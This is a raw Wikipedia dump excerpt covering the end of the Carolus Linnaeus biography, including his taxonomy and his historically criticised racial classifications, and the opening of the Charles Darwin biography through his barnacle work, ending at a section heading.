Carl Linnaeus was born on a farm called [[Råshult]] in [[Älmhult Municipality]], the province of [[Småland]] in southern [[Sweden]]. Like his father and maternal grandfather, Linnaeus was groomed as a youth to be a churchman, but he showed little enthusiasm for it.  His interest in [[botany]] impressed a physician from his town and he was sent to study at [[Lund University]], transferring to [[Uppsala University]] after one year.

During this time Linnaeus became convinced that in the [[stamen]]s and [[Carpel|pistils]] of [[flower]]s lay the basis for the classification of [[plant]]s, and he wrote a short work on the subject that earned him the position of adjunct professor. 
[[Image:Carl Linnaeus dressed as a Laplander.jpg|thumb|left|Carl Linnaeus dressed in native Lapp costume.]]

In [[1732]] the Academy of Sciences at [[Uppsala]] financed his expedition to explore [[Laponia|Lapland]], then virtually unknown. The result of this was the ''Flora Laponica'' published in [[1737]].

Thereafter Linnaeus moved to the continent. While in The [[Netherlands]] he met [[Jan Frederik Gronovius]] and showed him a draft of his work on taxonomy, the ''[[Systema Naturae]]'' which in its 10th edition, published in 1758, classified 4,400 species of animals and 7,700 species of plants. 

In it, the unwieldy descriptions mostly used at the time, such as &quot;''physalis amno ramosissime ramis angulosis glabris foliis dentoserratis''&quot;, were replaced by the concise and now familiar genus-species names in the form ''[[Physalis angulata]]''. Higher taxa were constructed and arranged in a simple and orderly manner. Although the system, now known as  [[binomial nomenclature]], was developed by the Bauhin brothers (see [[Gaspard Bauhin]] and [[Johann Bauhin]]) almost 200 years earlier, Linnaeus may be said to have popularized it within the scientific community.

Linnaeus named taxa in ways that personally struck him as common-sensical; for example, human beings are ''Homo sapiens'' (see [[sapience]]).  He also briefly described a ''second'' human species, ''Homo [[troglodyte|troglodytes]]'' (&quot;cave-dwelling man&quot;).  This was however likely a confusion originating from exaggerated second- or third-hand accounts of the [[Common Chimpanzee|chimpanzee]] (currently most often placed in a different genus, as ''[[Pan troglodytes]]'').

The group &quot;[[mammal|mammalia]]&quot; are named for their mammary glands because one of the defining characteristics of mammals is that they nurse their young. Of all the features distinguishing the mammals from other animals, Linnaeus may have picked this one because of his views on the importance of natural motherhood. He campaigned against the practice of [[wet nurse|wet nursing]], declaring that even aristocratic women should be proud to nurse their own children.

In [[1739]] Linnaeus married Sara Morea, daughter of a physician. He ascended to the chair of medicine at Uppsala two years later, soon exchanging it for the chair of Botany. He continued to work on his classifications, extending them to the kingdom of animals and the kingdom of minerals. The last may seem somewhat odd, but the theory of [[evolution]] was still a long time away. Linnaeus was only attempting a convenient way of categorizing the elements of the natural world.  Still, Linnaeus' research had begun to take science on a path that diverged from what had been taught by religious authorities; the local Lutheran [[Archbishop]] had accused him of &quot;impiety.&quot;  In a letter [http://linnaeus.c18.net/Letters/display_txt.php?id_letter=L0783] to [[Johann Georg Gmelin]] dated [[February 25]], [[1747]], Linnaeus wrote:

{| 
| width=&quot;43%&quot; valign=&quot;top&quot; | 
* Original Latin

''Non placet, quod Hominem inter ant[h]ropomorpha collocaverim, sed homo noscit se ipsum. Removeamus vocabula. Mihi perinde erit, quo nomine utamur. Sed quaero a Te et Toto orbe differentiam genericam inter hominem et Simiam, quae ex principiis Historiae naturalis. Ego certissime nullam novi. Utinam aliquis mihi unicam diceret! Si vocassem hominem simiam vel vice versa omnes in me conjecissem theologos. Debuissem forte ex lege artis.''
| width=&quot;3%&quot; |
| valign=&quot;top&quot; |
* English Translation

''It is not pleasing to me that I must place [[humans]] among the [[primates]], but man is intimately familiar with himself.  Let's not quibble over words.  It will be the same to me whatever name is applied. But I desperately seek from you and from the whole world a general difference between men and [[simians]] from the principles of [[Natural History]]. I certainly know of none. If only someone might tell me one! If I called man a [[Simia|simian]] or vice versa I would bring together all the [[theologians]] against me.  Perhaps I ought to, in accordance with the law of the discipline [of Natural History].''
|}

The Swedish king, [[Adolf Frederick of Sweden|Adolf Fredrik]], ennobled Linnaeus in [[1757]], and after the privy council had confirmed the ennoblement Linnaeus took the surname '''von Linné''', later often signing just '''Carl Linné'''. His father, born Nils Ingemarsson, had adopted the Latin surname Linnaeus as more appropriate for a [[clergy]]man on his matriculation at [[Lund University]]; the name deriving from the [[Small-leaved Lime|lime]] [http://linnaeus.nrm.se/flora/di/tilia/tilia/tilicor.html] tree after which the family farm, Linnagård, took its name.

Declining in his later years, Linnaeus suffered from a series of strokes in 1774.  He died four years later, in 1778.

== Linnaean taxonomy ==
[[image:Systema Naturae cover.jpg|thumb|right|Title page of ''[[Systema Naturae]]''.]]
Although taxonomists, in almost any biological field, are familiar with the work of Carolus Linnaeus, his contribution to taxonomy goes far beyond contributing so-called scientific names to many of the world's plants and animals. Linnaeus developed, during the great [[18th century]] expansion of natural history knowledge, what became known as the '''[[Linnaean taxonomy]]'''; the system of [[scientific classification]] now widely used in the [[biology|biological sciences]].

The Linnaean system classified living things within a [[hierarchy]], starting with two [[Kingdom_(biology)|kingdoms]]. Kingdoms were divided into classes and they, in turn, into orders, families, genera (singular: genus), and species (singular: species). Since then a few other ranks have been added, most notably phyla (singular: phylum) or divisions between kingdoms and classes. Groups of organisms at any rank are now called ''taxa'' (singular: taxon) or ''taxonomic groups''. 

The task of identifying and describing all living species is called the [[Linnaean enterprise]] by modern ecologists.

His groupings were based upon shared physical characteristics. Although the groupings themselves have been significantly changed since Linnaeus' conception, as well as the principles behind them, he is credited with establishing the idea of a hierarchical structure of classification which is based upon observable characteristics.

Linnaeus was also a pioneer in defining the concept of &quot;[[race]]&quot;. He proposed that inside of ''Homo sapiens'', there were four subcategories. These categories are, ''Americanus'', ''Asiaticus'', ''Africanus'', and ''Europeanus''. They were based on place of origin at first, and later skin color. Each race had certain  characteristics that members supposedly had. Native Americans were reddish, stubborn, and angered easily. Africans were black, relaxed and negligent. Asians were sallow, avaricious, and easily distracted. Europeans were white, gentle, and inventive. Linnaeus's races were clearly skewed in favour of Europeans. Over time, this classification led to a racial hierarchy, in which Europeans were at the top.

== Students== 
His students include such renowned botanists as [[Pehr Kalm]] (from [[Finland]]) and [[Daniel Solander]] (from [[Sweden]]).

== Other accomplishments ==
[[Image:Autograph of Carolus Linnaeus.jpg|thumb|250px|[[Signature]] of Carolus Linnaeus (Carl v. Linné).]]
[[Image:100 kronor swedish.jpg|thumb|250px|Carolus Linnaeus pictured on the Swedish 100 [[Swedish krona|kronor]] bank note]]

*Linnaeus is considered one of the finest writers of Swedish prose. His travel journals contain pithy notes on everything of interest he encountered, not just plants. He didn't just write from personal interest, but as a reporter to the enlightened scientific and political public. His journey to sub-Arctic Lapland is notable for exotic and adventurous episodes. He also composed some down-to-earth sex-instruction lectures published as &quot;Om sättet att tillhopa gå&quot; [How to go together].
*Linnaeus' original botanical garden may still be seen in [[Uppsala]].
*He originated the practice of using the &amp;#9794; - (shield and arrow) [[Mars (planet)|Mars]] and &amp;#9792; - (hand mirror) [[Venus (planet)|Venus]] glyphs as the symbol for [[male]] and [[female]].
*His picture can be found on the current Swedish 100 [[swedish krona|kronor]] bank notes [http://www.riksbank.com/templates/Page.aspx?id=10571].
*Linnaeus was one of the founders of the [[Royal Swedish Academy of Sciences]].
*Linnaeus is the only botanist currently referred to by a single initial: L. (Previously, the abbreviation assigned was Linn.) In [[botany]], the names, abbreviated, of the botanists who first describe and codify a species follow immediately after the scientific name. For example, ''Cocos nucifera'' L. is the complete scientific name for the [[coconut]], with the &quot;L.&quot; referring to Carolus Linnaeus.
*Linnaeus was said to be a man of great social skills. [[Erik Axel Karlfeldt]]'s words &quot;han talte med bönder på bönders vis, och med lärde män på latin&quot; [he talked to [[peasant]]s as peasants do, and to learned men in [[Latin]]] give a good characterization of his manner.
*He was one of the pioneers in the field of [[chronobiology]], and created the &quot;[[Petal Time Clock]]&quot;. His findings found that different species of flowers open at different times everyday. For example, he discovered that the [[hawksbeard]] plant, opened its flowers at 6:30 am, whereas another species, the [[hawkbit]], did not open its flowers until 7 am. After much research into this, he soon concluded that one could tell the time of day simply by watching the flowers in their garden. This method of keeping time did not catch on with everyone.

== See also ==
*[[Carolus Linnaeus the Younger]]. Linnaeus's son, also named Carl Linnaeus and also a botanist, is commonly so referred with ''filius'' (abbreviated &quot;L. f.&quot;)  to distinguish him from his famous father.
*[[Linnean Society of London]]
*[[Linnaeus Arboretum]]
*[[Jonas C. Dryander]]
*[[Carl Peter Thunberg]]
*[[Frederik Hasselquist]]
*[[Peter Artedi]]

== External links ==
{{Commons|Carolus Linnaeus}}
*[http://www.linnaeus.uu.se/LTeng.html Linnaeus Botanical Garden]
*[http://www.systbot.uu.se/information/history/linnaeus.htm Biography] at the Department of Systematic Botany, [[Uppsala University|University of Uppsala]]
*[http://linnean.org/index.php?id=47 Biography] at The Linnean Society of London
*[http://www.ucmp.berkeley.edu/history/linnaeus.html Biography] at the University of California Museum of Paleontology
*[http://linnaeus.c18.net/ The Linnaean Correspondence]
*[http://www.pearl-guide.com/forum/showthread.php?p=1625#post1625/ Carl Linnaeus - The World's First Round Cultured Pearls]

{{botanist|L.|Linnaeus, Carolus Linnaeus}}
[[Category:1707 births|Linnaeus, Carolus]]
[[Category:1778 deaths|Linnaeus, Carolus]]
[[Category:Swedish botanists|Linnaeus, Carolus]]
[[Category:Swedish biologists|Linnaeus, Carolus]]
[[Category:Swedish mammalogists|Linnaeus, Carolus]]
[[Category:Swedish ornithologists|Linnaeus, Carolus]]
[[Category:Swedish physicians|Linnaeus, Carolus]]
[[Category:Swedish people|Linnaeus, Carolus]]
[[Category:Botanists with author abbreviations|Linnaeus, Carolus]]
[[Category:Algologists|Linnaeus, Carolus]]
[[Category:Arachnologists|Linnaeus, Carolus]]
[[Category:Bryologists|Linnaeus, Carolus]]
[[Category:Pteridologists|Linnaeus, Carolus]]
[[Category:Mycologists|Linnaeus, Carolus]]

{{Persondata
|NAME=Linnaeus, Carolus
|ALTERNATIVE NAMES=Linné, Carl von
|SHORT DESCRIPTION=[[botanist]] and [[physician]]
|DATE OF BIRTH=[[1707]]-[[May 23|05-23]]
|PLACE OF BIRTH=[[Älmhult Municipality|Älmhult]], [[Sweden]]
|DATE OF DEATH=[[1778]]-[[January 10|01-10]]
|PLACE OF DEATH=
}}

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    </revision>
  </page>
  <page>
    <title>Charles Darwin</title>
    <id>5234</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42063818</id>
      <timestamp>2006-03-03T15:37:50Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
      <comment>revert: odd addition</comment>
      <text xml:space="preserve">{{dablink|For other uses see [[Darwin (disambiguation)]]}}
[[Image:Charles Darwin 1854.jpg|frame|right|In his lifetime Charles Darwin gained international fame as an influential scientist examining controversial topics.]]

'''Charles Robert Darwin''' ([[12 February]] [[1809]] – [[19 April]] [[1882]]) was a [[United Kingdom|British]] [[natural history|naturalist]] who achieved lasting fame by convincing the [[scientific community]] of the occurrence of [[evolution]] and proposing the [[scientific theory|theory]] &lt;!-- PLEASE  see [[Evolution#Distinctions_between_theory_and_fact]],  [[Talk:Charles_Darwin#Evolution_is_a_fact_and_a_theory]] &amp; http://www.stephenjaygould.org/library/gould_fact-and-theory.html THEN discuss any proposed changes on the talk page BEFORE making changes--&gt; that this could be explained through [[natural selection|natural]] and [[sexual selection]]. This theory is now considered the central explanatory paradigm in [[biology]].

He developed an interest in natural history while studying first [[medicine]], then [[theology]], at university. Darwin's [[The Voyage of the Beagle|five-year voyage]] on the [[HMS Beagle|''Beagle'']] and subsequent writings brought him eminence as a [[geology|geologist]] and fame as a popular author. His [[biology|biological]] observations led him to study the [[transmutation of species]] and, in 1838, develop his theory of natural selection. Fully aware that others had been severely punished for such &quot;[[heresy#Contemporary heresy|heretical]]&quot; ideas, he only confided in his closest friends and continued his research to meet anticipated objections. However, in 1858 the information that [[Alfred Russel Wallace]] had developed a similar theory forced early joint [[publication of Darwin's theory|publication of the theory]].

His 1859 book ''On the Origin of Species by Means of Natural Selection, or The Preservation of Favoured Races in the Struggle for Life'' (usually abbreviated to ''[[The Origin of Species]]'') established evolution by [[common descent]] as the dominant scientific explanation of diversification in nature.  He was made a [[Fellow of the Royal Society]], continued his research, and wrote a series of books on plants and animals, including humankind, notably ''[[The Descent of Man, and Selection in Relation to Sex]]'' and ''[[The Expression of the Emotions in Man and Animals]]''.

In recognition of Darwin's pre-eminence, he was buried in [[Westminster Abbey]], close to [[William Herschel]] and [[Isaac Newton]].

==Early life ==
[[Image:Charles Darwin 1816.jpg|thumb|190px|The seven-year-old Charles Darwin in 1816, a year before the sudden loss of his mother.]]
{{main|Charles Darwin's education}}

Charles Darwin was born in [[Shrewsbury, Shropshire]], [[England]], on [[12 February]] [[1809]], at his family home, the [[The Mount, Shrewsbury|Mount House]]. He was the fifth of six children of wealthy society doctor [[Robert Darwin]] and [[Susannah Darwin]] (''née'' Wedgwood). He was the grandson of [[Erasmus Darwin]] on his father's side, and of [[Josiah Wedgwood]] on his mother's side, both from the prominent English [[Darwin — Wedgwood family|Darwin &amp;ndash; Wedgwood]] family which supported the [[Unitarianism|Unitarian]] church. His mother died when he was only eight. When he went to the nearby [[Shrewsbury School]] the next year, he lived as a &quot;[[boarding school|boarder]]&quot;.

In 1825 after spending the summer as an apprentice doctor, helping his father with treating the poor of [[Shropshire]], Darwin went to [[University of Edinburgh|Edinburgh University]] to study medicine, but his revulsion at the brutality of surgery led him to neglect his medical studies. He learnt [[taxidermy]] from [[John Edmonstone]], a freed black slave, who told him exciting tales of the South American [[rainforest]]. In Darwin's second year he became active in student societies for [[natural history|naturalists]]. He became an avid pupil of [[Robert Edmund Grant]], who pioneered development of the theories of [[Jean-Baptiste Lamarck]] and of Charles' grandfather Erasmus concerning evolution by acquired characteristics. Darwin took part in Grant's investigations of the life cycle of marine animals on the shores of the [[Firth of Forth]] which found evidence for ''[[homology (biology)|homology]]'', the radical theory that all animals have similar organs and differ only in complexity. In March 1827 Darwin made a presentation to the [[Plinian society]] of his own discovery that the black spores often found in oyster shells were the eggs of a skate leech. He also sat in on [[Robert Jameson]]'s [[natural history]] course in which he learnt about [[stratigraphy|stratigraphic]] [[geology]] and received training in [[alpha taxonomy|how to classify plants]] when assisting with work on the extensive collections of the [[Royal Museum|Museum of Edinburgh University]].

In 1827 his father, unhappy that his younger son had no interest in becoming a physician, shrewdly enrolled him in a [[Bachelor of Arts]] course at [[Christ's College, Cambridge|Christ's College]], [[University of Cambridge]], to qualify as a clergyman. This was a sensible career move at a time when [[Anglicanism|Anglican]] [[parson]]s were provided with a comfortable income, and when most naturalists in England were clergymen who saw it as part of their duties to &quot;explore the wonders of God's creation&quot;. At Cambridge, Darwin preferred riding and shooting to studying. Along with his cousin [[William Darwin Fox]], he became engrossed in the craze at the time for the competitive collecting of [[beetle]]s, and Fox introduced him to the Reverend [[John Stevens Henslow]], professor of [[botany]], for expert advice on beetles. Darwin subsequently joined Henslow's natural history course, became his favourite pupil and came to be known as &quot;the man who walks with Henslow&quot;. When exams began to loom Darwin focused more on his studies and received private tuition from Henslow. Darwin became particularly enthused by the writings of [[William Paley]], including the [[teleological argument|argument of divine design in nature]]. In his finals in January 1831, he performed well in theology and, having scraped through in [[classics]], [[mathematics]] and [[physics]], came tenth out of a pass list of 178.

Residential requirements kept Darwin at Cambridge until June. In keeping with Henslow's example and advice, he was in no rush to take holy orders. Inspired by [[Alexander von Humboldt]]'s ''Personal Narrative'', he planned to visit the [[Madeira Islands]] to study natural history in the tropics with some classmates after graduation. To prepare himself, Darwin joined the geology course of the Reverend [[Adam Sedgwick]], a strong proponent of [[history of creationism|divine design]], then in the summer went with him to assist in mapping strata in [[Wales]]. Darwin was surveying strata on his own when his plans to visit Madeira were dashed by a message that his intended companion had died, but on his return home he received another letter. Henslow had recommended Darwin for the unpaid position of gentleman's companion to [[Robert FitzRoy]], the captain of [[HMS Beagle|HMS ''Beagle'']], on a two-year expedition to chart the coastline of [[South America]] which would give Darwin valuable opportunities to develop his career as a naturalist. His father objected to the voyage, regarding it as a waste of time, but was persuaded by [[Josiah Wedgwood II]] to agree to his son's participation. This voyage became a five-year expedition that would lead to dramatic changes in many fields of science.

=== Journey on the ''Beagle'' ===
{{main|The Voyage of the Beagle}}

[[Image:HMS_Beagle_by_Conrad_Martens.jpg|thumb|245px|right|As [[HMS Beagle|HMS ''Beagle'']] surveyed the coasts of [[South America]], Darwin began to theorise about the wonders of nature around him.]]

The ''Beagle'' survey took five years, two-thirds of which Darwin spent exploring on land. He studied a rich variety of geological features, [[fossil]]s and living organisms, and met a wide range of people, both native and colonial. He methodically collected an enormous number of specimens, many of them new to science. This established his reputation as a naturalist and made him one of the precursors of the field of [[ecology]], particularly the notion of [[biocoenosis]]. His extensive detailed notes showed his gift for theorising and formed the basis for his later work, as well as providing social, political and [[Anthropology|anthropological]] insights into the areas he visited.

On the voyage, Darwin read [[Charles Lyell]]'s ''Principles of Geology'', which explained geological features as the outcome of gradual processes over huge periods of time, and wrote home that he was seeing landforms &quot;as though he had the eyes of Lyell&quot;: he saw stepped plains of shingle and seashells in [[Patagonia]] as raised beaches; in [[Chile]], he experienced an earthquake and noted [[mussel]]-beds stranded above high tide showing that the land had been raised; and even high in the [[Andes]], he was able to collect seashells. He theorised that [[coral]] [[atoll]]s form on sinking volcanic mountains, an idea he confirmed when the ''Beagle'' surveyed the [[Cocos (Keeling) Islands]].

In South America he discovered fossils of gigantic extinct mammals including [[megatherium|megatheria]] and [[glyptodon]]s in strata which showed no signs of catastrophe or change in climate. At the time, he thought them similar to African species, but after the voyage [[Richard Owen]] showed that the remains were of animals related to living creatures in the same area. In [[Argentina]] two species of [[Rhea (bird)|rhea]] had separate but overlapping territories. On the [[Galápagos Islands]] Darwin found that [[mockingbird]]s differed from one island to another, and on returning to Britain he was shown that Galápagos [[tortoise]]s and [[finch]]es were also in distinct species based on the individual islands they inhabited. The Australian [[marsupial]] [[Potoridae|rat-kangaroo]] and [[platypus]] were such strikingly unusual animals that he thought &quot;An unbeliever... might exclaim 'Surely two distinct Creators must have been [at] work'.&quot; He puzzled over all he saw, and, in the first edition of ''[[The Voyage of the Beagle]]'', he explained species distribution in light of [[Charles Lyell]]'s ideas of &quot;centres of creation&quot;. In later editions of this ''Journal'' he foreshadowed his use of Galápagos Islands fauna as evidence for evolution: &quot;one might really fancy that from an original paucity of birds in this archipelago, one species had been taken and modified for different ends.&quot;

Three native missionaries were returned by the ''Beagle'' to [[Tierra del Fuego]]. They had become &quot;civilised&quot; in England over the previous two years, yet their relatives appeared to Darwin &quot;savages&quot; little above animals.  Within a year, the missionaries had reverted to their harsh previous way of life, yet they preferred this and did not want to return to England. This experience and his detestation of the [[slavery]] and other abuse he saw elsewhere such as ill treatment of natives by English settlers in [[Tasmania]] persuaded him that there was no moral justification for the mistreating of others based on the concept of race. &lt;!--Please substantiate the following, and add it to [[the Voyage of the Beagle]]: In [[Tasmania]] Darwin learnt that English settlers belonging to the [[Church of England]] hunted natives for fun and let dogs eat the corpses. [http://www.infidels.org/library/modern/john_murphy/charlesdarwin.html]--&gt; He now thought that humanity was not as far removed from animals as his clerical friends believed.

While on board the ship, Darwin suffered from seasickness. In October 1833 he caught a fever in Argentina, and in July 1834, while returning from the Andes down to [[Valparaíso]], he fell ill and spent a month in bed. From 1837 onwards Darwin was repeatedly incapacitated with episodes of stomach pains, vomiting, severe boils, palpitations, trembling and other symptoms. These symptoms particularly affected him at times of stress, such as when attending meetings or dealing with controversy over his theory. The cause of [[Charles Darwin's illness|Darwin's illness]] was unknown during his lifetime, and attempts at treatment had little success. Recent speculation has suggested he caught [[Chagas disease]] from insect bites in South America, leading to the later problems. Other possible causes include psychobiological problems and [[Ménière's disease]].

== Career in science, inception of theory ==
{{main|Inception of Darwin's theory}}
[[Image:Charles_Darwin_by_G._Richmond.jpg|thumb|left|While still a young man, Charles Darwin joined the scientific élite.]]

While Darwin was still on the voyage, [[John Stevens Henslow|Henslow]] carefully fostered his former pupil's reputation by giving selected naturalists access to the fossil specimens and printed copies of Darwin's geological writings. When the ''Beagle'' returned on [[2 October]] [[1836]], Darwin was a celebrity in scientific circles. He visited his home in Shrewsbury and his father organised investments so that Darwin could become a self-funded gentleman scientist. Darwin then went to [[Cambridge]] and persuaded Henslow to work on botanical descriptions of modern plants he had collected. Afterwards Darwin went round the [[London]] institutions to find the best naturalists available to describe his other collections for timely publication. An eager [[Charles Lyell]] met Darwin on [[29 October]] and introduced him to the up-and-coming anatomist [[Richard Owen]]. After working on Darwin's collection of fossil bones at his [[Royal College of Surgeons]], Owen caused great surprise by revealing that some were from gigantic extinct [[rodent]]s and [[sloth]]s. This enhanced Darwin's reputation. With Lyell's enthusiastic backing Darwin read his first paper to the [[Geological Society of London]] on [[4 January]] [[1837]], arguing that the South American landmass was slowly rising. On the same day Darwin presented his mammal and bird specimens to the [[Zoological Society of London|Zoological Society]]. The Mammalia were taken on by [[George Robert Waterhouse|George R. Waterhouse]]. Though the birds seemed almost an afterthought, the ornithologist [[John Gould]] revealed that what Darwin had taken to be wrens, blackbirds and slightly differing finches from the Galápagos were all finches, but each was a separate species. Others on the ''Beagle'' including FitzRoy had also collected these birds and had been more careful with their notes, enabling Darwin to find which island each species had come from.

In London Darwin stayed with his [[freethought|freethinking]] brother [[Erasmus Alvey Darwin|Erasmus]] and at dinner parties met inspiring [[savant]]s who thought that God preordained life by natural laws rather than ad hoc miraculous creations. His brother's lady friend Miss [[Harriet Martineau]] was a writer whose stories promoted [[Thomas Malthus|Malthusian]] [[Whig]] [[Poor Law]] reforms. Scientific circles were buzzing with ideas of [[transmutation of species]] controversially associated with [[Radicalism (historical)|''Radical'' unrest]]. Darwin preferred the respectability of his friends the Cambridge Dons, even though his ideas were pushing beyond their belief that [[natural history]] must justify religion and social order.

On [[17 February]] [[1837]], Lyell used his presidential address at the Geographical Society to present Owen's findings to date on Darwin's fossils, noting particularly the unexpected implication that extinct species were related to current species in the same locality. At the same meeting Darwin was elected to the Council of the Society. He had already been invited by FitzRoy to contribute a ''Journal'' based on his field notes as the natural history section of the captain's account of the ''Beagle'''s voyage. He now plunged into writing a book on South American Geology. At the same time he speculated on transmutation in his ''Red Notebook'' which he had begun on the ''Beagle''. Another project he started was getting the expert reports on his collection published as a multivolume ''Zoology of the Voyage of H.M.S. Beagle'', and Henslow used his contacts to arrange a Treasury grant of £1,000 to sponsor this. Darwin finished writing his ''Journal'' around [[20 June]] when King [[William IV of the United Kingdom|William IV]] died and the [[Victoria of the United Kingdom|Victorian]] era began. In mid-July he began his secret ''&quot;B&quot; notebook'' on transmutation, and developed the [[hypothesis]] that where every island in the Galápagos Archipelago had its own kind of [[tortoise]], these had originated from a single tortoise species and had adapted to life on the different islands in different ways.

Under pressure with organising ''Zoology'' and correcting proofs of his ''Journal'', Darwin's health suffered. On [[20 September]] [[1837]] he suffered &quot;palpitations of the heart&quot; and left for a month of recuperation in the country. He visited [[Maer Hall]] where his invalid aunt was being cared for by her spinster daughter [[Emma Darwin|Emma Wedgwood]], and entertained his relatives with tales of his travels. His uncle [[Josiah Wedgwood II|Jos]] pointed out an area of ground where cinders had disappeared under [[loam]] and suggested that this might have been the work of earthworms. This led Darwin to the idea for a talk which he gave to the Geological Society on [[1 November]], on the unusually mundane subject of worm casts. He had avoided taking on official posts which would have taken up valuable time, but by March [[William Whewell]] had recruited him as Secretary of the Geological Society. Illness prompted Darwin to take a break from the pressure of work and he went &quot;geologising&quot; in Scotland. In glorious weather he visited [[Glen Roy]] to see the phenomenon known as &quot;roads&quot; which he (incorrectly) identified as raised beaches.

[[Image:Emma Darwin.jpg|thumb|left|Charles chose to marry his cousin, [[Emma Darwin|Emma Wedgwood]].]]
Fully recuperated, he returned home to Shrewsbury. Scientifically pondering his career and prospects he drew up a list with columns headed ''&quot;Marry&quot;'' and ''&quot;Not Marry&quot;''. Entries in the pro-marriage column included &quot;constant companion and a friend in old age ... better than a dog anyhow,&quot; while listed among the cons were &quot;less money for books&quot; and &quot;terrible loss of time.&quot; The pros won out. He discussed the prospect of marriage with his father then went to visit his cousin Emma on [[29 July]] [[1838]]. He did not get around to proposing, but against his father's advice he told her of his ideas on transmutation. While his thoughts and work continued in London over the autumn he suffered repeated bouts of illness. On [[11 November]] he returned and proposed to Emma, once more telling her his ideas. She accepted, but later wrote beseeching him to read from the Gospel of St. John a section on love and following ''the Way'' which also states that ''&quot;If a man abide not in me...they are burned&quot;''. He sent a warm reply which eased her concern, but she would continue to worry that his lapses of faith could endanger her hope that they would meet in afterlife.

Darwin considered [[Thomas Malthus|Malthus]]'s argument that human population increases more quickly than food production, leaving people competing for food and making charity useless. He later formulated this in the terms of his biological theory as: &quot;Man tends to increase at a greater rate than his means of subsistence; consequently he is occasionally subjected to a severe struggle for existence, and natural selection will have effected whatever lies within its scope.&quot; (''Descent of Man'', Ch.21) He related this to the findings about species relating to localities, his enquiries into animal breeding, and ideas of Natural &quot;laws of harmony&quot;. Towards the end of November 1838 he compared breeders selecting traits to a Malthusian Nature selecting from variants thrown up by &quot;chance&quot; so that &quot;every part of newly acquired structure is fully practised and perfected&quot;, and thought this &quot;the most beautiful part of my theory&quot; of how species originated. He went house-hunting and eventually found &quot;Macaw Cottage&quot; in Gower Street, London, then moved his &quot;museum&quot; in over Christmas. He was showing the stress, and Emma wrote urging him to get some rest, almost prophetically remarking &quot;So don't be ill any more my dear Charley till I can be with you to nurse you.&quot; On [[24 January]] [[1839]] he was honoured by being elected as Fellow of the [[Royal Society]] and presented his paper on the Roads of Glen Roy.

=== Marriage and children ===
[[Image:Charles and William Darwin.jpg|thumb|185px|Darwin in 1842 with his eldest son, [[Darwin — Wedgwood family|William Erasmus Darwin]].]]

On [[29 January]] [[1839]], Darwin married his cousin [[Emma Darwin|Emma Wedgwood]] at Maer in an [[Anglican]] ceremony arranged to also suit the [[Unitarian]]s.
After first living in Gower Street, [[London]], the couple moved on [[17 September]] [[1842]] to [[Down House]] in [[Downe]]. The Darwins had ten children, three of whom died early.  Many of these and their grandchildren would later achieve notability themselves (see [[Darwin — Wedgwood family]])

* William Erasmus Darwin ([[27 December]] [[1839]]&amp;ndash;[[1914]])
* [[Anne Darwin|Anne Elizabeth Darwin]] ([[2 March]] [[1841]]&amp;ndash;[[22 April]] [[1851]])
* Mary Eleanor Darwin ([[23 September]] [[1842]]&amp;ndash;[[16 October]] [[1842]])
* Henrietta Emma &quot;Etty&quot; Darwin ([[25 September]] [[1843]]&amp;ndash;[[1929]])
* [[George Darwin|George Howard Darwin]] ([[9 July]] [[1845]]&amp;ndash;[[7 December]] [[1912]])
* [[Darwin — Wedgwood family|Elizabeth &quot;Bessy&quot; Darwin]] ([[8 July]] [[1847]]&amp;ndash;[[1926]])
* [[Francis Darwin]] ([[6 August]] [[1848]]&amp;ndash;[[19 September]] [[1925]])
* [[Leonard Darwin]] ([[15 January]] [[1850]]&amp;ndash;[[26 March]] [[1943]])
* [[Horace Darwin]] ([[13 May]] [[1851]]&amp;ndash;[[29 September]] [[1928]])
* [[Charles Waring Darwin]] ([[6 December]] [[1856]]&amp;ndash;[[28 June]] [[1858]])

Several of their children suffered illness or weaknesses, and Charles Darwin's fear that this might be due to the closeness of his and Emma's lineage was expressed in his writings on the ill effects of inbreeding and advantages of crossing.

==Evolution by natural selection==
{{main|Development of Darwin's theory}}
[[Image:Charles Darwin.jpg|frame|left|Fearing both scientific and religious criticism, Darwin spent decades developing his evolutionary theories largely in secret.]]

Darwin was now an eminent geologist in the scientific élite of clerical naturalists, settled with a private income, while privately working on his theory. He had a vast amount of work to do, writing up all his findings and supervising the preparation of the multivolume ''Zoology'', which would describe his collections. He was convinced of the occurrence of [[evolution]], but for a long time had been aware that [[transmutation of species]] was associated with the crime of [[blasphemy]] as well as with [[Radicalism (historical)|Radical]] democratic agitators in Britain who were seeking to overthrow society;  thus, publication risked ruining his reputation. He embarked on extensive experiments with plants and consultations with [[Animal husbandry|animal husbanders]], including pigeon and pig breeders, trying to find soundly based answers to all the arguments he anticipated when he presented his theory in public.
 
When FitzRoy's account was published in May 1839, Darwin's ''Journal and Remarks'' was a great success. Later that year it was published on its own, becoming the bestseller today known as ''[[The Voyage of the Beagle]]''. In December 1839, as Emma's first pregnancy progressed, Darwin suffered more illness and accomplished little during the following year.

Darwin tried to explain his theory to close friends, but they were slow to show interest and thought that selection must need a divine selector. In 1842 the family moved to rural [[Down House]] to escape the pressures of London. Darwin formulated a short &quot;Pencil Sketch&quot; of his theory, and by 1844 had written a 240-page &quot;Essay&quot; that expanded his early ideas on natural selection. Darwin completed his third ''Geological'' book in 1846. Assisted by his friend, the young botanist [[Joseph Dalton Hooker]], he embarked on a huge study of [[barnacles]]. In 1847, Hooker read the &quot;Essay&quot; and sent notes that provided Darwin with the calm critical feedback that he needed.

Darwin feared putting the theory out in an incomplete form, as his ideas about evolution would be highly controversial if any attention was paid to them at all. Other ideas about evolution &amp;mdash; especially the work of [[Jean-Baptiste Lamarck]] &amp;mdash; had been soundly dismissed by the British scientific community, and were associated with  [[Radicalism (historical)|political radicalism]]. The anonymous publication of ''[[Vestiges of the Natural History of Creation]]'' in 1844 created another controversy over radicalism and evolution, and was severely attacked by Darwin's friends who stressed that no reputable scientist would want to be associated with such ideas.

To try to deal with his illness, Darwin went to a spa in [[Malvern]] in 1849, and to his surprise found that the two months of water treatment helped. In his work on barnacles he found &quot;[[Homology (biology)|homologies]]&quot; that supported his theory by showing that slightly changed body parts could serve different functions to meet new conditions. Then his treasured daughter Annie fell ill, reawakening his fears that his illness might be hereditary. After a long series of crises, she died and Darwin [[Problem of evil|lost all faith in a beneficent God]].

He met the young freethinking naturalist [[Thomas Henry Huxley|Thomas Huxley]] who was to become a close friend and ally. Darwin's work on barnacles (''Cirripedia'') earned him the [[Royal Society]]'s Royal Medal in 1853, establishing his reputation as a [[biology|biologist]]. He completed this study in 1854 and turned his attention to his theory of species.

===Announcement and publication of theory===
